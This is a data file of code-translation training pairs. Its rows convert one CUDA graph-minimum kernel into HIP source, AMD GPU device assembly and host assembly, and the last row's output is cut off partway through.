system stringclasses 7 values | input stringlengths 10 94.5k | output stringlengths 14 55.5k |
|---|---|---|
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ void min(int* U, int* d, int* outDel, int* minOutEdges, size_t gSize, int useD) {
int globalThreadId = blockIdx.x * blockDim.x + threadIdx.x;
int pos1 = 2*globalThreadId;
int pos2 = 2*globalThreadId + 1;
int val1, val2;
if(pos1 < gSize) {
val1 = minOutEdges[pos1] + (useD ? d[pos1] : 0);
if(pos2 < gSize) {
val2 = minOutEdges[pos2] + (useD ? d[pos2] : 0);
val1 = val1 <= 0 ? INT_MAX : val1;
val2 = val2 <= 0 ? INT_MAX : val2;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
val2 = U[pos2] ? val2 : INT_MAX;
}
if(val1 > val2) {
outDel[globalThreadId] = val2;
}
else{
outDel[globalThreadId] = val1;
}
}
else {
val1 = val1 <= 0 ? INT_MAX : val1;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
}
outDel[globalThreadId] = val1;
}
}
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void min(int* U, int* d, int* outDel, int* minOutEdges, size_t gSize, int useD) {
int globalThreadId = blockIdx.x * blockDim.x + threadIdx.x;
int pos1 = 2*globalThreadId;
int pos2 = 2*globalThreadId + 1;
int val1, val2;
if(pos1 < gSize) {
val1 = minOutEdges[pos1] + (useD ? d[pos1] : 0);
if(pos2 < gSize) {
val2 = minOutEdges[pos2] + (useD ? d[pos2] : 0);
val1 = val1 <= 0 ? INT_MAX : val1;
val2 = val2 <= 0 ? INT_MAX : val2;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
val2 = U[pos2] ? val2 : INT_MAX;
}
if(val1 > val2) {
outDel[globalThreadId] = val2;
}
else{
outDel[globalThreadId] = val1;
}
}
else {
val1 = val1 <= 0 ? INT_MAX : val1;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
}
outDel[globalThreadId] = val1;
}
}
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void min(int* U, int* d, int* outDel, int* minOutEdges, size_t gSize, int useD) {
int globalThreadId = blockIdx.x * blockDim.x + threadIdx.x;
int pos1 = 2*globalThreadId;
int pos2 = 2*globalThreadId + 1;
int val1, val2;
if(pos1 < gSize) {
val1 = minOutEdges[pos1] + (useD ? d[pos1] : 0);
if(pos2 < gSize) {
val2 = minOutEdges[pos2] + (useD ? d[pos2] : 0);
val1 = val1 <= 0 ? INT_MAX : val1;
val2 = val2 <= 0 ? INT_MAX : val2;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
val2 = U[pos2] ? val2 : INT_MAX;
}
if(val1 > val2) {
outDel[globalThreadId] = val2;
}
else{
outDel[globalThreadId] = val1;
}
}
else {
val1 = val1 <= 0 ? INT_MAX : val1;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
}
outDel[globalThreadId] = val1;
}
}
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z3minPiS_S_S_mi
.globl _Z3minPiS_S_S_mi
.p2align 8
.type _Z3minPiS_S_S_mi,@function
_Z3minPiS_S_S_mi:
s_clause 0x1
s_load_b32 s2, s[0:1], 0x3c
s_load_b64 s[10:11], s[0:1], 0x20
s_waitcnt lgkmcnt(0)
s_and_b32 s2, s2, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s2, v[0:1]
s_mov_b32 s2, exec_lo
v_lshlrev_b32_e32 v2, 1, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v3, 31, v2
v_cmpx_gt_u64_e64 s[10:11], v[2:3]
s_cbranch_execz .LBB0_17
s_clause 0x1
s_load_b64 s[6:7], s[0:1], 0x18
s_load_b32 s2, s[0:1], 0x28
v_lshlrev_b64 v[4:5], 2, v[2:3]
s_load_b64 s[8:9], s[0:1], 0x8
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v6, vcc_lo, s6, v4
v_add_co_ci_u32_e32 v7, vcc_lo, s7, v5, vcc_lo
s_cmp_lg_u32 s2, 0
s_cselect_b32 s12, -1, 0
global_load_b32 v0, v[6:7], off
v_mov_b32_e32 v6, 0
s_cmp_eq_u32 s2, 0
s_cbranch_scc1 .LBB0_3
v_add_co_u32 v4, vcc_lo, s8, v4
v_add_co_ci_u32_e32 v5, vcc_lo, s9, v5, vcc_lo
global_load_b32 v6, v[4:5], off
.LBB0_3:
s_clause 0x1
s_load_b64 s[4:5], s[0:1], 0x0
s_load_b64 s[2:3], s[0:1], 0x10
v_or_b32_e32 v4, 1, v2
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v0, v6, v0
v_cndmask_b32_e64 v8, 0, 1, s12
s_mov_b32 s0, exec_lo
v_ashrrev_i32_e32 v5, 31, v4
s_delay_alu instid0(VALU_DEP_1)
v_cmpx_le_u64_e64 s[10:11], v[4:5]
s_xor_b32 s1, exec_lo, s0
s_cbranch_execz .LBB0_7
v_cmp_lt_i32_e64 s0, 0, v0
v_cmp_ne_u32_e32 vcc_lo, 1, v8
s_delay_alu instid0(VALU_DEP_2)
v_cndmask_b32_e64 v0, 0x7fffffff, v0, s0
s_cbranch_vccnz .LBB0_6
v_lshlrev_b64 v[2:3], 2, v[2:3]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s4, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s5, v3, vcc_lo
global_load_b32 v2, v[2:3], off
s_waitcnt vmcnt(0)
v_cmp_ne_u32_e32 vcc_lo, 0, v2
v_cndmask_b32_e32 v0, 0x7fffffff, v0, vcc_lo
.LBB0_6:
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[1:2], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v1, vcc_lo, s2, v1
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v2, vcc_lo, s3, v2, vcc_lo
global_store_b32 v[1:2], v0, off
.LBB0_7:
s_and_not1_saveexec_b32 s0, s1
s_cbranch_execz .LBB0_17
v_lshlrev_b64 v[6:7], 2, v[4:5]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v9, vcc_lo, s6, v6
v_add_co_ci_u32_e32 v10, vcc_lo, s7, v7, vcc_lo
v_cmp_ne_u32_e32 vcc_lo, 1, v8
global_load_b32 v9, v[9:10], off
s_cbranch_vccnz .LBB0_10
v_add_co_u32 v6, vcc_lo, s8, v6
v_add_co_ci_u32_e32 v7, vcc_lo, s9, v7, vcc_lo
global_load_b32 v6, v[6:7], off
s_branch .LBB0_11
.LBB0_10:
v_mov_b32_e32 v6, 0
.LBB0_11:
s_waitcnt vmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_add_nc_u32_e32 v6, v6, v9
v_cmp_lt_i32_e64 s0, 0, v0
v_cmp_ne_u32_e32 vcc_lo, 1, v8
v_cndmask_b32_e64 v7, 0x7fffffff, v0, s0
s_delay_alu instid0(VALU_DEP_4) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_lt_i32_e64 s0, 0, v6
v_cndmask_b32_e64 v6, 0x7fffffff, v6, s0
s_cbranch_vccnz .LBB0_13
v_lshlrev_b64 v[2:3], 2, v[2:3]
v_lshlrev_b64 v[4:5], 2, v[4:5]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_u32 v2, vcc_lo, s4, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s5, v3, vcc_lo
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_4)
v_add_co_u32 v4, vcc_lo, s4, v4
v_add_co_ci_u32_e32 v5, vcc_lo, s5, v5, vcc_lo
s_clause 0x1
global_load_b32 v0, v[2:3], off
global_load_b32 v2, v[4:5], off
s_waitcnt vmcnt(1)
v_cmp_ne_u32_e32 vcc_lo, 0, v0
v_cndmask_b32_e32 v7, 0x7fffffff, v7, vcc_lo
s_waitcnt vmcnt(0)
v_cmp_ne_u32_e32 vcc_lo, 0, v2
v_cndmask_b32_e32 v6, 0x7fffffff, v6, vcc_lo
.LBB0_13:
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, s0, s2, v0
s_delay_alu instid0(VALU_DEP_1)
v_add_co_ci_u32_e64 v1, s0, s3, v1, s0
s_mov_b32 s0, exec_lo
v_cmpx_le_i32_e64 v7, v6
s_xor_b32 s0, exec_lo, s0
s_cbranch_execz .LBB0_15
global_store_b32 v[0:1], v7, off
.LBB0_15:
s_and_not1_saveexec_b32 s0, s0
s_cbranch_execz .LBB0_17
global_store_b32 v[0:1], v6, off
.LBB0_17:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z3minPiS_S_S_mi
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 304
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 11
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z3minPiS_S_S_mi, .Lfunc_end0-_Z3minPiS_S_S_mi
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 24
.size: 8
.value_kind: global_buffer
- .offset: 32
.size: 8
.value_kind: by_value
- .offset: 40
.size: 4
.value_kind: by_value
- .offset: 48
.size: 4
.value_kind: hidden_block_count_x
- .offset: 52
.size: 4
.value_kind: hidden_block_count_y
- .offset: 56
.size: 4
.value_kind: hidden_block_count_z
- .offset: 60
.size: 2
.value_kind: hidden_group_size_x
- .offset: 62
.size: 2
.value_kind: hidden_group_size_y
- .offset: 64
.size: 2
.value_kind: hidden_group_size_z
- .offset: 66
.size: 2
.value_kind: hidden_remainder_x
- .offset: 68
.size: 2
.value_kind: hidden_remainder_y
- .offset: 70
.size: 2
.value_kind: hidden_remainder_z
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 104
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 112
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 304
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z3minPiS_S_S_mi
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z3minPiS_S_S_mi.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 11
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void min(int* U, int* d, int* outDel, int* minOutEdges, size_t gSize, int useD) {
int globalThreadId = blockIdx.x * blockDim.x + threadIdx.x;
int pos1 = 2*globalThreadId;
int pos2 = 2*globalThreadId + 1;
int val1, val2;
if(pos1 < gSize) {
val1 = minOutEdges[pos1] + (useD ? d[pos1] : 0);
if(pos2 < gSize) {
val2 = minOutEdges[pos2] + (useD ? d[pos2] : 0);
val1 = val1 <= 0 ? INT_MAX : val1;
val2 = val2 <= 0 ? INT_MAX : val2;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
val2 = U[pos2] ? val2 : INT_MAX;
}
if(val1 > val2) {
outDel[globalThreadId] = val2;
}
else{
outDel[globalThreadId] = val1;
}
}
else {
val1 = val1 <= 0 ? INT_MAX : val1;
if(useD) {
val1 = U[pos1] ? val1 : INT_MAX;
}
outDel[globalThreadId] = val1;
}
}
} | .text
.file "min.hip"
.globl _Z18__device_stub__minPiS_S_S_mi # -- Begin function _Z18__device_stub__minPiS_S_S_mi
.p2align 4, 0x90
.type _Z18__device_stub__minPiS_S_S_mi,@function
_Z18__device_stub__minPiS_S_S_mi: # @_Z18__device_stub__minPiS_S_S_mi
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movq %rdx, 72(%rsp)
movq %rcx, 64(%rsp)
movq %r8, 56(%rsp)
movl %r9d, 4(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 72(%rsp), %rax
movq %rax, 112(%rsp)
leaq 64(%rsp), %rax
movq %rax, 120(%rsp)
leaq 56(%rsp), %rax
movq %rax, 128(%rsp)
leaq 4(%rsp), %rax
movq %rax, 136(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z3minPiS_S_S_mi, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z18__device_stub__minPiS_S_S_mi, .Lfunc_end0-_Z18__device_stub__minPiS_S_S_mi
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z3minPiS_S_S_mi, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z3minPiS_S_S_mi,@object # @_Z3minPiS_S_S_mi
.section .rodata,"a",@progbits
.globl _Z3minPiS_S_S_mi
.p2align 3, 0x0
_Z3minPiS_S_S_mi:
.quad _Z18__device_stub__minPiS_S_S_mi
.size _Z3minPiS_S_S_mi, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z3minPiS_S_S_mi"
.size .L__unnamed_1, 17
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z18__device_stub__minPiS_S_S_mi
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z3minPiS_S_S_mi
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z3minPiS_S_S_mi
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ S2R R2, SR_CTAID.X ; /* 0x0000000000027919 */
/* 0x000e280000002500 */
/*0020*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e240000002100 */
/*0030*/ IMAD R2, R2, c[0x0][0x0], R3 ; /* 0x0000000002027a24 */
/* 0x001fc800078e0203 */
/*0040*/ IMAD.SHL.U32 R0, R2, 0x2, RZ ; /* 0x0000000202007824 */
/* 0x000fca00078e00ff */
/*0050*/ ISETP.GE.U32.AND P0, PT, R0, c[0x0][0x180], PT ; /* 0x0000600000007a0c */
/* 0x000fe40003f06070 */
/*0060*/ SHF.R.S32.HI R3, RZ, 0x1f, R0 ; /* 0x0000001fff037819 */
/* 0x000fc80000011400 */
/*0070*/ ISETP.GE.U32.AND.EX P0, PT, R3, c[0x0][0x184], PT, P0 ; /* 0x0000610003007a0c */
/* 0x000fda0003f06100 */
/*0080*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0090*/ ISETP.NE.AND P1, PT, RZ, c[0x0][0x188], PT ; /* 0x00006200ff007a0c */
/* 0x000fe20003f25270 */
/*00a0*/ IMAD.SHL.U32 R4, R0.reuse, 0x4, RZ ; /* 0x0000000400047824 */
/* 0x040fe200078e00ff */
/*00b0*/ SHF.L.U64.HI R5, R0, 0x2, R3 ; /* 0x0000000200057819 */
/* 0x000fe20000010203 */
/*00c0*/ IMAD.MOV.U32 R10, RZ, RZ, RZ ; /* 0x000000ffff0a7224 */
/* 0x000fe200078e00ff */
/*00d0*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe40000000a00 */
/*00e0*/ IADD3 R6, P0, R4, c[0x0][0x178], RZ ; /* 0x00005e0004067a10 */
/* 0x000fc80007f1e0ff */
/*00f0*/ IADD3.X R7, R5, c[0x0][0x17c], RZ, P0, !PT ; /* 0x00005f0005077a10 */
/* 0x000fc600007fe4ff */
/*0100*/ @P1 IADD3 R8, P2, R4, c[0x0][0x168], RZ ; /* 0x00005a0004081a10 */
/* 0x000fe40007f5e0ff */
/*0110*/ LDG.E R3, [R6.64] ; /* 0x0000000406037981 */
/* 0x000ea4000c1e1900 */
/*0120*/ @P1 IADD3.X R9, R5, c[0x0][0x16c], RZ, P2, !PT ; /* 0x00005b0005091a10 */
/* 0x000fca00017fe4ff */
/*0130*/ @P1 LDG.E R10, [R8.64] ; /* 0x00000004080a1981 */
/* 0x000ea2000c1e1900 */
/*0140*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fc80007ffe0ff */
/*0150*/ ISETP.GE.U32.AND P0, PT, R0, c[0x0][0x180], PT ; /* 0x0000600000007a0c */
/* 0x000fe40003f06070 */
/*0160*/ SHF.R.S32.HI R11, RZ, 0x1f, R0 ; /* 0x0000001fff0b7819 */
/* 0x000fc80000011400 */
/*0170*/ ISETP.GE.U32.AND.EX P0, PT, R11, c[0x0][0x184], PT, P0 ; /* 0x000061000b007a0c */
/* 0x000fe20003f06100 */
/*0180*/ IMAD.MOV.U32 R13, RZ, RZ, 0x4 ; /* 0x00000004ff0d7424 */
/* 0x000fe200078e00ff */
/*0190*/ IADD3 R4, P2, R4, c[0x0][0x160], RZ ; /* 0x0000580004047a10 */
/* 0x000fc80007f5e0ff */
/*01a0*/ IADD3.X R5, R5, c[0x0][0x164], RZ, P2, !PT ; /* 0x0000590005057a10 */
/* 0x000fe200017fe4ff */
/*01b0*/ IMAD.IADD R12, R3, 0x1, R10 ; /* 0x00000001030c7824 */
/* 0x004fe400078e020a */
/*01c0*/ IMAD.WIDE R2, R2, R13, c[0x0][0x170] ; /* 0x00005c0002027625 */
/* 0x000fc800078e020d */
/*01d0*/ @!P0 BRA 0x260 ; /* 0x0000008000008947 */
/* 0x000fea0003800000 */
/*01e0*/ ISETP.GE.AND P0, PT, R12, 0x1, PT ; /* 0x000000010c00780c */
/* 0x000fc80003f06270 */
/*01f0*/ SEL R7, R12, 0x7fffffff, P0 ; /* 0x7fffffff0c077807 */
/* 0x000fe20000000000 */
/*0200*/ @!P1 BRA 0x240 ; /* 0x0000003000009947 */
/* 0x000fea0003800000 */
/*0210*/ LDG.E R4, [R4.64] ; /* 0x0000000404047981 */
/* 0x000ea4000c1e1900 */
/*0220*/ ISETP.NE.AND P0, PT, R4, RZ, PT ; /* 0x000000ff0400720c */
/* 0x004fc80003f05270 */
/*0230*/ SEL R7, R7, 0x7fffffff, P0 ; /* 0x7fffffff07077807 */
/* 0x000fca0000000000 */
/*0240*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x000fe2000c101904 */
/*0250*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0260*/ @P1 LEA R8, P0, R0.reuse, c[0x0][0x168], 0x2 ; /* 0x00005a0000081a11 */
/* 0x040fe200078010ff */
/*0270*/ LDG.E R6, [R6.64+0x4] ; /* 0x0000040406067981 */
/* 0x000ea6000c1e1900 */
/*0280*/ @P1 LEA.HI.X R9, R0, c[0x0][0x16c], R11, 0x2, P0 ; /* 0x00005b0000091a11 */
/* 0x000fe200000f140b */
/*0290*/ IMAD.MOV.U32 R11, RZ, RZ, RZ ; /* 0x000000ffff0b7224 */
/* 0x000fe200078e00ff */
/*02a0*/ @P1 LDG.E R0, [R4.64] ; /* 0x0000000404001981 */
/* 0x000ee8000c1e1900 */
/*02b0*/ @P1 LDG.E R10, [R4.64+0x4] ; /* 0x00000404040a1981 */
/* 0x000f28000c1e1900 */
/*02c0*/ @P1 LDG.E R11, [R8.64] ; /* 0x00000004080b1981 */
/* 0x000ea2000c1e1900 */
/*02d0*/ ISETP.GE.AND P4, PT, R12, 0x1, PT ; /* 0x000000010c00780c */
/* 0x000fc80003f86270 */
/*02e0*/ SEL R13, R12, 0x7fffffff, P4 ; /* 0x7fffffff0c0d7807 */
/* 0x000fe20002000000 */
/*02f0*/ IMAD.IADD R11, R6, 0x1, R11 ; /* 0x00000001060b7824 */
/* 0x004fe200078e020b */
/*0300*/ @P1 ISETP.NE.AND P2, PT, R0, RZ, PT ; /* 0x000000ff0000120c */
/* 0x008fc80003f45270 */
/*0310*/ ISETP.GE.AND P0, PT, R11.reuse, 0x1, PT ; /* 0x000000010b00780c */
/* 0x040fe40003f06270 */
/*0320*/ @P1 ISETP.NE.AND P3, PT, R10, RZ, PT ; /* 0x000000ff0a00120c */
/* 0x010fe40003f65270 */
/*0330*/ SEL R11, R11, 0x7fffffff, P0 ; /* 0x7fffffff0b0b7807 */
/* 0x000fe40000000000 */
/*0340*/ @P1 SEL R13, R13, 0x7fffffff, P2 ; /* 0x7fffffff0d0d1807 */
/* 0x000fe40001000000 */
/*0350*/ @P1 SEL R11, R11, 0x7fffffff, P3 ; /* 0x7fffffff0b0b1807 */
/* 0x000fc80001800000 */
/*0360*/ ISETP.GT.AND P0, PT, R13, R11, PT ; /* 0x0000000b0d00720c */
/* 0x000fda0003f04270 */
/*0370*/ @!P0 STG.E [R2.64], R13 ; /* 0x0000000d02008986 */
/* 0x0001e2000c101904 */
/*0380*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0390*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x000fe2000c101904 */
/*03a0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*03b0*/ BRA 0x3b0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*03c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0400*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0410*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0420*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0430*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0440*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0450*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0460*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0470*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z3minPiS_S_S_mi
.globl _Z3minPiS_S_S_mi
.p2align 8
.type _Z3minPiS_S_S_mi,@function
_Z3minPiS_S_S_mi:
s_clause 0x1
s_load_b32 s2, s[0:1], 0x3c
s_load_b64 s[10:11], s[0:1], 0x20
s_waitcnt lgkmcnt(0)
s_and_b32 s2, s2, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s2, v[0:1]
s_mov_b32 s2, exec_lo
v_lshlrev_b32_e32 v2, 1, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v3, 31, v2
v_cmpx_gt_u64_e64 s[10:11], v[2:3]
s_cbranch_execz .LBB0_17
s_clause 0x1
s_load_b64 s[6:7], s[0:1], 0x18
s_load_b32 s2, s[0:1], 0x28
v_lshlrev_b64 v[4:5], 2, v[2:3]
s_load_b64 s[8:9], s[0:1], 0x8
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v6, vcc_lo, s6, v4
